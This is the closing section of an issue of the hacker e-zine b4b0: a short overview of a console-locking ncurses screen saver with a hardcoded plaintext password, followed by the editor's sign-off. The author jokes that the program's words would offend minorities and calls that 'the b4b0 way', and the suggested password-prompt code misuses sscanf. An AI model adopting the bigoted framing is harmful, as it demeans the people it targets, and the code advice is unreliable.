-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
<b4b0!b4b0!b4b0!b4b0> bsaver overview, by cp4kt <b4b0!b4b0!b4b0!b4b0>
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
This little program, based off of Qytpos drugz2.c, has been turned into a
lovely ncurses screen saver. Nice words, derogatory words, and most
importantly; dill monkey words come up -- It's fun for the whole family.
We / I decided to just store the password in this line here.
static char passwd[] = "dillmonkey" ;
If you can code just a teeny bit, you can change this to a macro. Did I
mention teeny? We also thought that perhaps you might want to accept a
password via something prompting for a password at each session. Such
might be accomplished by:
static char passwd[20];
...
printf("Enter password to use: ");
sscanf("%20s", passwd);
But the problem is if you forget, you might as well reboot. Also, you can
have it saved in perhaps a file .bsaver and open, fgets() from it, but
remember the character length has to be 20! You can also merely use the
passwd structure and use your login password via crypt() etc. Anyways, the
code is yours to edit. If there is any problems, mail me at
comp4ct@hotmail.com
p.s. don't abuse getch. Hit Enter *ONE TIME* to get a password prompt.
NOTE: If you have any minorities in your office / household, i would not
run this program in front of them. It make lock your console, but if they
see whats popping up, you could be fired / flogged. But isn't that the
b4b0 way?
Good Day,
cp4kt
Special thanks to: Matt Conover (Shok of w00w00) for his great article on
console ioctls. The macros used to lock console were taken from there.
Thank you.
-/- -/- -/- -/- -/- -/- -/- -/- -/- -/- -/- -/- -/- -/- -/- -/- -/- -/-
Closing up..
WELP, THATS IT. Hope you enjoyed this totally k-sp1ff, extraoridinary
diverse issue of BABO! Please send many submissions to us for B4B0 8
(submissions@b4b0.org). Comments and questions go to: letters@b4b0.org
Your editor, ph1x.
######## ######## ########
## ## ## ##
######## ## ## ########
## ## ## ##
######## ######## ##